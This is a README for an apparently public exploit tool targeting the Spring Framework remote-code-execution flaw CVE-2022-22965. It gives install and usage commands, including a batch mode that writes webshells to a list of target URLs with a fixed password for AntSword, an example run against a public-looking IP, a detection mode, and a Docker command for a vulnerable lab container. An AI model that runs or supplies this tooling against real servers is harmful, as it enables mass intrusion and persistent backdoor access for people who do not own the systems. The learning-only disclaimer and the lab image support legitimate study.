k3rwin/spring-core-rcevulnerabilidade RCE no framework Spring CVE-2022-22965
Âmbito de impacto: Spring framework e frameworks derivados para JDK>=9
O script é apenas para fins de aprendizado; o autor não se responsabiliza por qualquer uso indevido.
pip3 install -r requirements.txt
$ python3 spring-core-rce.py -h
.----..-.-. .---. .-..-. .-..----. .----. .---. .---. .----. .---. .----..----.
{ {__-`| } }}} }}_}{ || \{ || |--' ___ | }`-'/ {-. \} }}_}} |__} ___ } }}_}| }`-'} |__}
.-._} } | |-' | } \ | }| }\ {| }-`}{___}| },-.\ '-} /| } \ } '__}{___}| } \ | },-.} '__}
`----' `-' `-'-' `-'`-' `-'`----' `----' `---' `-'-' `----' `-'-' `----'`----'
Spring framework Core RCE
By:K3rwin
usage: spring-core-rce.py [-h] [-u URL] [-s SYSTEM] [-r FILE]
Spring framework Core 0day RCE 帮助指南
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL 指定url
-s SYSTEM, --system SYSTEM
指定目标主机操作系统,默认linux,参数为win/linux
-r FILE, --file FILE 指定url文件，批量写马
Detecção não invasiva
-u,--url ou use -f,--file para detecção em lote
-c,--check, parâmetro para serviço HTTP próprio, pode usar
python3 -m http.server 80para iniciar rapidamente um servidor webUsado principalmente na rede interna e quando é necessário detectar vulnerabilidades sem causar danos.
python3 spring-core-rce.py -u "http://172.26.155.18:8080/" --check "http://172.26.155.18"
Use -u para especificar a URL, -s para especificar o sistema operacional. Parâmetros: linux ou win. O padrão é linux.
python3 spring-core-rce.py -u "http://1.117.155.217:8080/" -s "linux"
Use -r para escrever webshells em lote. Conecte-se com o Ant Sword, senha: k3rwin.
python3 spring-core-rce.py -r "urls.txt"
docker pull vulfocus/spring-core-rce-2022-03-29:latest
docker run -d -p 8080:8080 --name spring-core-rce -it vulfocus/spring-core-rce-2022-03-29